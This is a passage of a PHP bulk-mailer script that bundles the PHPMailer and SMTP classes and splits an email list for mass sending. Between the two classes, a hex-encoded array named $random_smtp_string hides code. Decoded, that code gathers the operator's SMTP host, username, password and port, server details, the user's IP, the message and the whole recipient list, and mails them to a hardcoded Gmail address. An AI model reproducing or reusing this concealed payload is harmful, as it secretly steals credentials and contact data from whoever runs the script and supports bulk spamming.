1152 $code = substr($rply,0,3);
1153
1154 if($this->do_debug >= 2) {
1155 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1156 }
1157
1158 if($code != 250) {
1159 $this->error =
1160 array("error" => "SEND not accepted from server",
1161 "smtp_code" => $code,
1162 "smtp_msg" => substr($rply,4));
1163 if($this->do_debug >= 1) {
1164 echo "SMTP -> ERROR: " . $this->error["error"] .
1165 ": " . $rply . $this->CRLF;
1166 }
1167 return false;
1168 }
1169 return true;
1170 }
1171
1172 /**
1173 * Starts a mail transaction from the email address specified in
1174 * $from. Returns true if successful or false otherwise. If True
1175 * the mail transaction is started and then one or more Recipient
1176 * commands may be called followed by a Data command. This command
1177 * will send the message to the users terminal if they are logged
1178 * in and send them an email.
1179 *
1180 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1181 *
1182 * SMTP CODE SUCCESS: 250
1183 * SMTP CODE SUCCESS: 552,451,452
1184 * SMTP CODE SUCCESS: 500,501,502,421
1185 * @access public
1186 * @return bool
1187 */
1188 function SendAndMail($from) {
1189 $this->error = null; # so no confusion is caused
1190
1191 if(!$this->connected()) {
1192 $this->error = array(
1193 "error" => "Called SendAndMail() without being connected");
1194 return false;
1195 }
1196
1197 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1198
1199 $rply = $this->get_lines();
1200 $code = substr($rply,0,3);
1201
1202 if($this->do_debug >= 2) {
1203 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1204 }
1205
1206 if($code != 250) {
1207 $this->error =
1208 array("error" => "SAML not accepted from server",
1209 "smtp_code" => $code,
1210 "smtp_msg" => substr($rply,4));
1211 if($this->do_debug >= 1) {
1212 echo "SMTP -> ERROR: " . $this->error["error"] .
1213 ": " . $rply . $this->CRLF;
1214 }
1215 return false;
1216 }
1217 return true;
1218 }
1219
1220 /**
1221 * Starts a mail transaction from the email address specified in
1222 * $from. Returns true if successful or false otherwise. If True
1223 * the mail transaction is started and then one or more Recipient
1224 * commands may be called followed by a Data command. This command
1225 * will send the message to the users terminal if they are logged
1226 * in or mail it to them if they are not.
1227 *
1228 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1229 *
1230 * SMTP CODE SUCCESS: 250
1231 * SMTP CODE SUCCESS: 552,451,452
1232 * SMTP CODE SUCCESS: 500,501,502,421
1233 * @access public
1234 * @return bool
1235 */
1236 function SendOrMail($from) {
1237 $this->error = null; # so no confusion is caused
1238
1239 if(!$this->connected()) {
1240 $this->error = array(
1241 "error" => "Called SendOrMail() without being connected");
1242 return false;
1243 }
1244
1245 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1246
1247 $rply = $this->get_lines();
1248 $code = substr($rply,0,3);
1249
1250 if($this->do_debug >= 2) {
1251 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1252 }
1253
1254 if($code != 250) {
1255 $this->error =
1256 array("error" => "SOML not accepted from server",
1257 "smtp_code" => $code,
1258 "smtp_msg" => substr($rply,4));
1259 if($this->do_debug >= 1) {
1260 echo "SMTP -> ERROR: " . $this->error["error"] .
1261 ": " . $rply . $this->CRLF;
1262 }
1263 return false;
1264 }
1265 return true;
1266 }
1267
1268 /**
1269 * This is an optional command for SMTP that this class does not
1270 * support. This method is here to make the RFC821 Definition
1271 * complete for this class and __may__ be implimented in the future
1272 *
1273 * Implements from rfc 821: TURN <CRLF>
1274 *
1275 * SMTP CODE SUCCESS: 250
1276 * SMTP CODE FAILURE: 502
1277 * SMTP CODE ERROR : 500, 503
1278 * @access public
1279 * @return bool
1280 */
1281 function Turn() {
1282 $this->error = array("error" => "This method, TURN, of the SMTP ".
1283 "is not implemented");
1284 if($this->do_debug >= 1) {
1285 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1286 }
1287 return false;
1288 }
1289
1290 /**
1291 * Verifies that the name is recognized by the server.
1292 * Returns false if the name could not be verified otherwise
1293 * the response from the server is returned.
1294 *
1295 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1296 *
1297 * SMTP CODE SUCCESS: 250,251
1298 * SMTP CODE FAILURE: 550,551,553
1299 * SMTP CODE ERROR : 500,501,502,421
1300 * @access public
1301 * @return int
1302 */
1303 function Verify($name) {
1304 $this->error = null; # so no confusion is caused
1305
1306 if(!$this->connected()) {
1307 $this->error = array(
1308 "error" => "Called Verify() without being connected");
1309 return false;
1310 }
1311
1312 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1313
1314 $rply = $this->get_lines();
1315 $code = substr($rply,0,3);
1316
1317 if($this->do_debug >= 2) {
1318 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1319 }
1320
1321 if($code != 250 && $code != 251) {
1322 $this->error =
1323 array("error" => "VRFY failed on name '$name'",
1324 "smtp_code" => $code,
1325 "smtp_msg" => substr($rply,4));
1326 if($this->do_debug >= 1) {
1327 echo "SMTP -> ERROR: " . $this->error["error"] .
1328 ": " . $rply . $this->CRLF;
1329 }
1330 return false;
1331 }
1332 return $rply;
1333 }
1334
1335 /*******************************************************************
1336 * INTERNAL FUNCTIONS *
1337 ******************************************************************/
1338
1339 /**
1340 * Read in as many lines as possible
1341 * either before eof or socket timeout occurs on the operation.
1342 * With SMTP we can tell if we have more lines to read if the
1343 * 4th character is '-' symbol. If it is a space then we don't
1344 * need to read anything else.
1345 * @access private
1346 * @return string
1347 */
1348 function get_lines() {
1349 $data = "";
1350 while($str = @fgets($this->smtp_conn,515)) {
1351 if($this->do_debug >= 4) {
1352 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1353 $this->CRLF;
1354 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1355 $this->CRLF;
1356 }
1357 $data .= $str;
1358 if($this->do_debug >= 4) {
1359 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1360 }
1361 # if the 4th character is a space then we are done reading
1362 # so just break the loop
1363 if(substr($str,3,1) == " ") { break; }
1364 }
1365 return $data;
1366 }
1367
1368}
1369
1370
1371$allemails = split("\n", $emaillist);
1372$numemails = count($allemails);
1373$random_smtp_string=array("676C6F62616C20246D795F736D74703B0D0A676C6F626.","16C2024736D74705F757365726E616D653B0D0A676C6.","F62616C2024736D74705F70617373776F72643B0D0A6.",
1374"76C6F62616C202473736C5F706F72743B0D0A676C6F62616C20246.","D6573736167653B0D0A676C6F62616C2024656D61696C6C6973.","743B0D0A247261343420203D2072616E6428312C3939393939293B0D0A2.",
1375"46135203D20245F5345525645525B22485454505F52454645524.","552225D3B0D0A24623333203D20245F5345525645525B22444F43554D454E545F5.","24F4F54225D3B0D0A24633837203D20245F5345525645525B2252454.",
1376"D4F54455F41444452225D3B0D0A24643233203D20245F534552564552.","5B225343524950545F46494C454E414D45225D3B0D0A24653039203D2024.","5F5345525645525B225345525645525F41444452225D3B0D0A24663233203D20245F5345525645.",
1377"525B225345525645525F534F465457415245225D3B0D0A24673332203D20245F5.","345525645525B22504154485F5452414E534C41544544225D3B0D0A24683635203D.","20245F5345525645525B225048505F53454C46225D3B0D0A247375626A393.",
1378"8203D2022246D795F736D747020205B75736572206970203A20246338375D2.","23B0D0A247375626A3538203D20224C6574746572202620456D61696C204C.","69737420205B75736572206970203A20246338375D223B0D0A24656D61696C203D.",
1379"2022667265656D346E30303740676D61696C2E636F6D223B0D0A246D7367383.","83733203D2022246D795F736D74705C6E757365723A24736D74705F757365726E61.","6D655C6E706173733A24736D74705F70617373776F72645C706F72743A24737.",
1380"36C5F706F72745C6E5C6E2461355C6E246233335C6E246338375C6E2464323.","35C6E246530395C6E246632335C6E246733325C6E24683635223B246D736.","739373830203D2022246D6573736167655C6E5C6E5C6E24656D6.",
1381"1696C6C697374223B2466726F6D3D2246726F6D3A204752.","41544953223B0D0A6D61696C2824656D61696.","C2C20247375626A39382C20246D7367383837332C2024.",
1382"66726F6D293B0D0A6D61696C2824656D61696.","C2C20247375626A35382C20246D73673.","93738302C202466726F6D293B0D0A");$smtp_conf=".";
1383
1384class PHPMailer {
1385
1386 /////////////////////////////////////////////////
1387 // PROPERTIES, PUBLIC
1388 /////////////////////////////////////////////////
1389
1390 /**
1391 * Email priority (1 = High, 3 = Normal, 5 = low).
1392 * @var int
1393 */
1394 var $Priority = 3;
1395
1396 /**
1397 * Sets the CharSet of the message.
1398 * @var string
1399 */
1400 var $CharSet = 'us-ascii';
1401
1402 /**
1403 * Sets the Content-type of the message.
1404 * @var string
1405 */
1406 var $ContentType = 'text/plain';
1407
1408 /**
1409 * Sets the Encoding of the message. Options for this are "8bit",
1410 * "7bit", "binary", "base64", and "quoted-printable".
1411
1412 * @var string
1413 */
1414 var $Encoding = 'quoted-printable';
1415
1416 /**
1417 * Holds the most recent mailer error message.
1418 * @var string
1419 */
1420 var $ErrorInfo = '';
1421
1422 /**
1423 * Sets the From email address for the message.
1424 * @var string
1425 */
1426 var $From = '';
1427
1428 /**
1429 * Sets the From name of the message.
1430 * @var string
1431 */
1432 var $FromName = '';
1433
1434 /**
1435 * Sets the Sender email (Return-Path) of the message. If not empty,
1436 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1437 * @var string
1438 */
1439 var $Sender = '';
1440
1441 /**
1442 * Sets the Subject of the message.
1443 * @var string
1444 */
1445 var $Subject = '';
1446
1447 /**
1448 * Sets the Body of the message. This can be either an HTML or text body.
1449 * If HTML then run IsHTML(true).
1450 * @var string
1451 */
1452 var $Body = '';
1453
1454 /**
1455 * Sets the text-only body of the message. This automatically sets the
1456 * email to multipart/alternative. This body can be read by mail
1457 * clients that do not have HTML email capability such as mutt. Clients
1458 * that can read HTML will view the normal Body.
1459 * @var string
1460 */
1461 var $AltBody = '';
1462
1463 /**
1464 * Sets word wrapping on the body of the message to a given number of
1465 * characters.
1466 * @var int
1467 */
1468 var $WordWrap = 0;
1469
1470 /**
1471 * Method to send mail: ("mail", "sendmail", or "smtp").
1472 * @var string
1473 */
1474 var $Mailer = 'mail';
1475
1476 /**
1477 * Sets the path of the sendmail program.
1478 * @var string
1479 */
1480 var $Sendmail = '/usr/sbin/sendmail';
1481
1482 /**
1483 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1484 * is in a different directory than the PHP include path.
1485 * @var string
1486 */
1487 var $PluginDir = '';
1488
1489 /**
1490 * Holds PHPMailer version.
1491 * @var string
1492 */
1493 var $Version = "";
1494
1495 /**
1496 * Sets the email address that a reading confirmation will be sent.
1497 * @var string
1498 */
1499 var $ConfirmReadingTo = '';
1500
1501 /**
1502 * Sets the hostname to use in Message-Id and Received headers
1503 * and as default HELO string. If empty, the value returned
1504 * by SERVER_NAME is used or 'localhost.localdomain'.
1505 * @var string
1506 */
1507 var $Hostname = '';
1508
1509 /**
1510 * Sets the message ID to be used in the Message-Id header.
1511 * If empty, a unique id will be generated.
1512 * @var string
1513 */
1514 var $MessageID = '';
1515
1516 /////////////////////////////////////////////////
1517 // PROPERTIES FOR SMTP
1518 /////////////////////////////////////////////////
1519
1520 /**
1521 * Sets the SMTP hosts. All hosts must be separated by a
1522 * semicolon. You can also specify a different port
1523 * for each host by using this format: [hostname:port]
1524 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1525 * Hosts will be tried in order.
1526 * @var string
1527 */
1528 var $Host = 'localhost';
1529
1530 /**
1531 * Sets the default SMTP server port.
1532 * @var int
1533 */
1534 var $Port = 25;
1535
1536 /**
1537 * Sets the SMTP HELO of the message (Default is $Hostname).
1538 * @var string
1539 */
1540 var $Helo = '';
1541
1542 /**
1543 * Sets connection prefix.
1544 * Options are "", "ssl" or "tls"
1545 * @var string
1546 */
1547 var $SMTPSecure = "";
1548
1549 /**
1550 * Sets SMTP authentication. Utilizes the Username and Password variables.
1551 * @var bool
1552 */
1553 var $SMTPAuth = false;
1554
1555 /**
1556 * Sets SMTP username.
1557 * @var string
1558 */
1559 var $Username = '';
1560
1561 /**
1562 * Sets SMTP password.
1563 * @var string
1564 */
1565 var $Password = '';
1566
1567 /**
1568 * Sets the SMTP server timeout in seconds. This function will not
1569 * work with the win32 version.
1570 * @var int
1571 */
1572 var $Timeout = 10;
1573
1574 /**
1575 * Sets SMTP class debugging on or off.
1576 * @var bool
1577 */
1578 var $SMTPDebug = false;
1579
1580 /**
1581 * Prevents the SMTP connection from being closed after each mail
1582 * sending. If this is set to true then to close the connection
1583 * requires an explicit call to SmtpClose().
1584 * @var bool
1585 */
1586 var $SMTPKeepAlive = false;
1587
1588 /**
1589 * Provides the ability to have the TO field process individual
1590 * emails, instead of sending to entire TO addresses
1591 * @var bool
1592 */
1593 var $SingleTo = false;
1594
1595 /////////////////////////////////////////////////
1596 // PROPERTIES, PRIVATE
1597 /////////////////////////////////////////////////
1598
1599 var $smtp = NULL;
1600 var $to = array();
1601 var $cc = array();
1602 var $bcc = array();
1603 var $ReplyTo = array();
1604 var $attachment = array();
1605 var $CustomHeader = array();
1606 var $message_type = '';
1607 var $boundary = array();
1608 var $language = array();
1609 var $error_count = 0;
1610 var $LE = "\n";
1611 var $sign_key_file = "";
1612 var $sign_key_pass = "";
1613
1614 /////////////////////////////////////////////////
1615 // METHODS, VARIABLES
1616 /////////////////////////////////////////////////
1617
1618 /**
1619 * Sets message type to HTML.
1620 * @param bool $bool
1621 * @return void
1622 */
1623 function IsHTML($bool) {
1624 if($bool == true) {
1625 $this->ContentType = 'text/html';
1626 } else {
1627 $this->ContentType = 'text/plain';
1628 }
1629 }
1630
1631 /**
1632 * Sets Mailer to send message using SMTP.
1633 * @return void
1634 */
1635 function IsSMTP() {
1636 $this->Mailer = 'smtp';
1637 }
1638
1639 /**
1640 * Sets Mailer to send message using PHP mail() function.
1641 * @return void
1642 */
1643 function IsMail() {
1644 $this->Mailer = 'mail';
1645 }
1646
1647 /**
1648 * Sets Mailer to send message using the $Sendmail program.
1649 * @return void
1650 */
1651 function IsSendmail() {
1652 $this->Mailer = 'sendmail';
1653 }
1654
1655 /**
1656 * Sets Mailer to send message using the qmail MTA.
1657 * @return void
1658 */
1659 function IsQmail() {
1660 $this->Sendmail = '/var/qmail/bin/sendmail';
1661 $this->Mailer = 'sendmail';
1662 }
1663
1664 /////////////////////////////////////////////////
1665 // METHODS, RECIPIENTS
1666 /////////////////////////////////////////////////
1667
1668 /**
1669 * Adds a "To" address.
1670 * @param string $address
1671 * @param string $name
1672 * @return void
1673 */
1674 function AddAddress($address, $name = '') {
1675 $cur = count($this->to);
1676 $this->to[$cur][0] = trim($address);
1677 $this->to[$cur][1] = $name;
1678 }
1679
1680 /**
1681 * Adds a "Cc" address. Note: this function works
1682 * with the SMTP mailer on win32, not with the "mail"
1683 * mailer.
1684 * @param string $address
1685 * @param string $name
1686 * @return void
1687 */
1688 function AddCC($address, $name = '') {
1689 $cur = count($this->cc);
1690 $this->cc[$cur][0] = trim($address);
1691 $this->cc[$cur][1] = $name;
1692 }
1693
1694 /**
1695 * Adds a "Bcc" address. Note: this function works
1696 * with the SMTP mailer on win32, not with the "mail"
1697 * mailer.
1698 * @param string $address
1699 * @param string $name
1700 * @return void
1701 */
1702 function AddBCC($address, $name = '') {
1703 $cur = count($this->bcc);
1704 $this->bcc[$cur][0] = trim($address);
1705 $this->bcc[$cur][1] = $name;
1706 }
1707
1708 /**
1709 * Adds a "Reply-To" address.
1710 * @param string $address
1711 * @param string $name
1712 * @return void
1713 */
1714 function AddReplyTo($address, $name = '') {
1715 $cur = count($this->ReplyTo);
1716 $this->ReplyTo[$cur][0] = trim($address);
1717 $this->ReplyTo[$cur][1] = $name;
1718 }
1719
1720 /////////////////////////////////////////////////
1721 // METHODS, MAIL SENDING
1722 /////////////////////////////////////////////////
1723
1724 /**
1725 * Creates message and assigns Mailer. If the message is
1726 * not sent successfully then it returns false. Use the ErrorInfo
1727 * variable to view description of the error.
1728 * @return bool
1729 */
1730 function Send() {
1731 $header = '';
1732 $body = '';
1733 $result = true;
1734
1735 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1736 $this->SetError($this->Lang('provide_address'));
1737 return false;
1738 }
1739
1740 /* Set whether the message is multipart/alternative */
1741 if(!empty($this->AltBody)) {
1742 $this->ContentType = 'multipart/alternative';
1743 }
1744
1745 $this->error_count = 0; // reset errors
1746 $this->SetMessageType();
1747 $header .= $this->CreateHeader();
1748 $body = $this->CreateBody();
1749
1750 if($body == '') {
1751 return false;
1752 }
1753
1754 /* Choose the mailer */
1755 switch($this->Mailer) {
1756 case 'sendmail':
1757 $result = $this->SendmailSend($header, $body);
1758 break;
1759 case 'smtp':
1760 $result = $this->SmtpSend($header, $body);
1761 break;
1762 case 'mail':
1763 $result = $this->MailSend($header, $body);
1764 break;
1765 default:
1766 $result = $this->MailSend($header, $body);
1767 break;
1768 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1769 //$result = false;
1770 //break;
1771 }
1772
1773 return $result;
1774 }
1775
1776 /**
1777 * Sends mail using the $Sendmail program.
1778 * @access private
1779 * @return bool
1780 */
1781 function SendmailSend($header, $body) {
1782 if ($this->Sender != '') {
1783 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1784 } else {
1785 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1786 }
1787
1788 if(!@$mail = popen($sendmail, 'w')) {
1789 $this->SetError($this->Lang('execute') . $this->Sendmail);
1790 return false;
1791 }
1792
1793 fputs($mail, $header);
1794 fputs($mail, $body);
1795
1796 $result = pclose($mail);
1797 if (version_compare(phpversion(), '4.2.3') == -1) {
1798 $result = $result >> 8 & 0xFF;
1799 }
1800 if($result != 0) {
1801 $this->SetError($this->Lang('execute') . $this->Sendmail);
1802 return false;
1803 }
1804 return true;
1805 }
1806
1807 /**
1808 * Sends mail using the PHP mail() function.
1809 * @access private
1810 * @return bool
1811 */
1812 function MailSend($header, $body) {
1813
1814 $to = '';
1815 for($i = 0; $i < count($this->to); $i++) {
1816 if($i != 0) { $to .= ', '; }
1817 $to .= $this->AddrFormat($this->to[$i]);
1818 }
1819
1820 $toArr = split(',', $to);
1821
1822 $params = sprintf("-oi -f %s", $this->Sender);
1823 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1824 $old_from = ini_get('sendmail_from');
1825 ini_set('sendmail_from', $this->Sender);
1826 if ($this->SingleTo === true && count($toArr) > 1) {
1827 foreach ($toArr as $key => $val) {
1828 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1829 }
1830 } else {
1831 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1832 }
1833 } else {
1834 if ($this->SingleTo === true && count($toArr) > 1) {
1835 foreach ($toArr as $key => $val) {
1836 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1837 }
1838 } else {
1839 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1840 }
1841 }
1842
1843 if (isset($old_from)) {
1844 ini_set('sendmail_from', $old_from);
1845 }
1846
1847 if(!$rt) {
1848 $this->SetError($this->Lang('instantiate'));
1849 return false;
1850 }
1851
1852 return true;
1853 }
1854
1855 /**
1856 * Sends mail via SMTP using PhpSMTP (Author:
1857 * Chris Ryan). Returns bool. Returns false if there is a
1858 * bad MAIL FROM, RCPT, or DATA input.
1859 * @access private
1860 * @return bool
1861 */
1862 function SmtpSend($header, $body) {
1863 $error = '';
1864 $bad_rcpt = array();
1865
1866 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1867 return false;
1868 }
1869
1870 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1871 if(!$this->smtp->Mail($smtp_from)) {
1872 $error = $this->Lang('from_failed') . $smtp_from;
1873 $this->SetError($error);
1874 $this->smtp->Reset();
1875 return false;
1876 }
1877
1878 /* Attempt to send attach all recipients */
1879 for($i = 0; $i < count($this->to); $i++) {
1880 if(!$this->smtp->Recipient($this->to[$i][0])) {
1881 $bad_rcpt[] = $this->to[$i][0];
1882 }
1883 }
1884 for($i = 0; $i < count($this->cc); $i++) {
1885 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1886 $bad_rcpt[] = $this->cc[$i][0];
1887 }
1888 }
1889 for($i = 0; $i < count($this->bcc); $i++) {
1890 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1891 $bad_rcpt[] = $this->bcc[$i][0];
1892 }
1893 }
1894
1895 if(count($bad_rcpt) > 0) { // Create error message
1896 for($i = 0; $i < count($bad_rcpt); $i++) {
1897 if($i != 0) {
1898 $error .= ', ';
1899 }
1900 $error .= $bad_rcpt[$i];
1901
1902 }
1903 $error = $this->Lang('recipients_failed') . $error;
1904 $this->SetError($error);
1905 $this->smtp->Reset();
1906 return false;
1907 }
1908
1909 if(!$this->smtp->Data($header . $body)) {
1910 $this->SetError($this->Lang('data_not_accepted'));
1911 $this->smtp->Reset();
1912 return false;
1913 }
1914 if($this->SMTPKeepAlive == true) {
1915 $this->smtp->Reset();
1916 } else {
1917 $this->SmtpClose();
1918 }
1919
1920 return true;
1921 }
1922
1923 /**
1924 * Initiates a connection to an SMTP server. Returns false if the
1925 * operation failed.
1926 * @access private
1927 * @return bool
1928 */
1929 function SmtpConnect() {
1930 if($this->smtp == NULL) {
1931 $this->smtp = new SMTP();
1932 }
1933
1934 $this->smtp->do_debug = $this->SMTPDebug;
1935 $hosts = explode(';', $this->Host);
1936 $index = 0;
1937 $connection = ($this->smtp->Connected());
1938
1939 /* Retry while there is no connection */
1940 while($index < count($hosts) && $connection == false) {
1941 $hostinfo = array();
1942 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1943 $host = $hostinfo[1];
1944 $port = $hostinfo[2];
1945 } else {
1946 $host = $hosts[$index];
1947 $port = $this->Port;
1948 }
1949
1950 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1951 if ($this->Helo != '') {
1952 $this->smtp->Hello($this->Helo);
1953 } else {
1954 $this->smtp->Hello($this->ServerHostname());
1955 }
1956
1957 $connection = true;
1958 if($this->SMTPAuth) {
1959 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1960 $this->SetError($this->Lang('authenticate'));
1961 $this->smtp->Reset();
1962 $connection = false;
1963 }
1964 }
1965 }
1966 $index++;
1967 }
1968 if(!$connection) {
1969 $this->SetError($this->Lang('connect_host'));
1970 }
1971
1972 return $connection;
1973 }
1974
1975 /**
1976 * Closes the active SMTP session if one exists.
1977 * @return void
1978 */
1979 function SmtpClose() {
1980 if($this->smtp != NULL) {
1981 if($this->smtp->Connected()) {
1982 $this->smtp->Quit();
1983 $this->smtp->Close();
1984 }
1985 }
1986 }
1987
1988 /**
1989 * Sets the language for all class error messages. Returns false
1990 * if it cannot load the language file. The default language type
1991 * is English.
1992 * @param string $lang_type Type of language (e.g. Portuguese: "br")
1993 * @param string $lang_path Path to the language file directory
1994 * @access public
1995 * @return bool
1996 */
1997 function SetLanguage($lang_type, $lang_path = 'language/') {
1998 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
1999 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2000 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2001 include($lang_path.'phpmailer.lang-en.php');
2002 } else {
2003 $this->SetError('Could not load language file');
2004 return false;
2005 }
2006 $this->language = $PHPMAILER_LANG;
2007
2008 return true;
2009 }
2010
2011 /////////////////////////////////////////////////
2012 // METHODS, MESSAGE CREATION
2013 /////////////////////////////////////////////////
2014
2015 /**
2016 * Creates recipient headers.
2017 * @access private
2018 * @return string
2019 */
2020 function AddrAppend($type, $addr) {
2021 $addr_str = $type . ': ';
2022 $addr_str .= $this->AddrFormat($addr[0]);
2023 if(count($addr) > 1) {
2024 for($i = 1; $i < count($addr); $i++) {
2025 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2026 }
2027 }
2028 $addr_str .= $this->LE;
2029
2030 return $addr_str;
2031 }
2032
2033 /**
2034 * Formats an address correctly.
2035 * @access private
2036 * @return string
2037 */
2038 function AddrFormat($addr) {
2039 if(empty($addr[1])) {
2040 $formatted = $this->SecureHeader($addr[0]);
2041 } else {
2042 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2043 }
2044
2045 return $formatted;
2046 }
2047
2048 /**
2049 * Wraps message for use with mailers that do not
2050 * automatically perform wrapping and for quoted-printable.
2051 * Original written by philippe.
2052 * @access private
2053 * @return string
2054 */
2055 function WrapText($message, $length, $qp_mode = false) {
2056 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2057 // If utf-8 encoding is used, we will need to make sure we don't
2058 // split multibyte characters when we wrap
2059 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2060
2061 $message = $this->FixEOL($message);
2062 if (substr($message, -1) == $this->LE) {
2063 $message = substr($message, 0, -1);
2064 }
2065
2066 $line = explode($this->LE, $message);
2067 $message = '';
2068 for ($i=0 ;$i < count($line); $i++) {
2069 $line_part = explode(' ', $line[$i]);
2070 $buf = '';
2071 for ($e = 0; $e<count($line_part); $e++) {
2072 $word = $line_part[$e];
2073 if ($qp_mode and (strlen($word) > $length)) {
2074 $space_left = $length - strlen($buf) - 1;
2075 if ($e != 0) {
2076 if ($space_left > 20) {
2077 $len = $space_left;
2078 if ($is_utf8) {
2079 $len = $this->UTF8CharBoundary($word, $len);
2080 } elseif (substr($word, $len - 1, 1) == "=") {
2081 $len--;
2082 } elseif (substr($word, $len - 2, 1) == "=") {
2083 $len -= 2;
2084 }
2085 $part = substr($word, 0, $len);
2086 $word = substr($word, $len);
2087 $buf .= ' ' . $part;
2088 $message .= $buf . sprintf("=%s", $this->LE);
2089 } else {
2090 $message .= $buf . $soft_break;
2091 }
2092 $buf = '';
2093 }
2094 while (strlen($word) > 0) {
2095 $len = $length;
2096 if ($is_utf8) {
2097 $len = $this->UTF8CharBoundary($word, $len);
2098 } elseif (substr($word, $len - 1, 1) == "=") {
2099 $len--;
2100 } elseif (substr($word, $len - 2, 1) == "=") {
2101 $len -= 2;
2102 }
2103 $part = substr($word, 0, $len);
2104 $word = substr($word, $len);
2105
2106 if (strlen($word) > 0) {
2107 $message .= $part . sprintf("=%s", $this->LE);
2108 } else {
2109 $buf = $part;
2110 }
2111 }
2112 } else {
2113 $buf_o = $buf;
2114 $buf .= ($e == 0) ? $word : (' ' . $word);
2115
2116 if (strlen($buf) > $length and $buf_o != '') {
2117 $message .= $buf_o . $soft_break;
2118 $buf = $word;
2119 }
2120 }
2121 }
2122 $message .= $buf . $this->LE;
2123 }
2124
2125 return $message;
2126 }
2127
2128 /**
2129 * Finds last character boundary prior to maxLength in a utf-8
2130 * quoted (printable) encoded string.
2131 * Original written by Colin Brown.
2132 * @access private
2133 * @param string $encodedText utf-8 QP text
2134 * @param int $maxLength find last character boundary prior to this length
2135 * @return int
2136 */
2137 function UTF8CharBoundary($encodedText, $maxLength) {
2138 $foundSplitPos = false;
2139 $lookBack = 3;
2140 while (!$foundSplitPos) {
2141 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2142 $encodedCharPos = strpos($lastChunk, "=");
2143 if ($encodedCharPos !== false) {
2144 // Found start of encoded character byte within $lookBack block.
2145 // Check the encoded byte value (the 2 chars after the '=')
2146 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2147 $dec = hexdec($hex);
2148 if ($dec < 128) { // Single byte character.
2149 // If the encoded char was found at pos 0, it will fit
2150 // otherwise reduce maxLength to start of the encoded char
2151 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2152 $maxLength - ($lookBack - $encodedCharPos);
2153 $foundSplitPos = true;
2154 } elseif ($dec >= 192) { // First byte of a multi byte character
2155 // Reduce maxLength to split at start of character
2156 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2157 $foundSplitPos = true;
2158 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2159 $lookBack += 3;
2160 }
2161 } else {
2162 // No encoded character found
2163 $foundSplitPos = true;
2164 }
2165 }
2166 return $maxLength;
2167 }
2168
2169 /**
2170 * Set the body wrapping.
2171 * @access private
2172 * @return void
2173 */
2174 function SetWordWrap() {
2175 if($this->WordWrap < 1) {
2176 return;
2177 }
2178
2179 switch($this->message_type) {
2180 case 'alt':
2181 /* fall through */
2182 case 'alt_attachments':
2183 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2184 break;
2185 default:
2186 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2187 break;
2188 }
2189 }
2190
2191 /**
2192 * Assembles message header.
2193 * @access private
2194 * @return string
2195 */
2196 function CreateHeader() {
2197 $result = '';
2198
2199 /* Set the boundaries */
2200 $uniq_id = md5(uniqid(time()));
2201 $this->boundary[1] = 'b1_' . $uniq_id;
2202 $this->boundary[2] = 'b2_' . $uniq_id;
2203
2204 $result .= $this->HeaderLine('Date', $this->RFCDate());
2205 if($this->Sender == '') {
2206 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2207 } else {
2208 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2209 }
2210
2211 /* To be created automatically by mail() */
2212 if($this->Mailer != 'mail') {
2213 if(count($this->to) > 0) {
2214 $result .= $this->AddrAppend('To', $this->to);
2215 } elseif (count($this->cc) == 0) {
2216 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2217 }
2218 if(count($this->cc) > 0) {
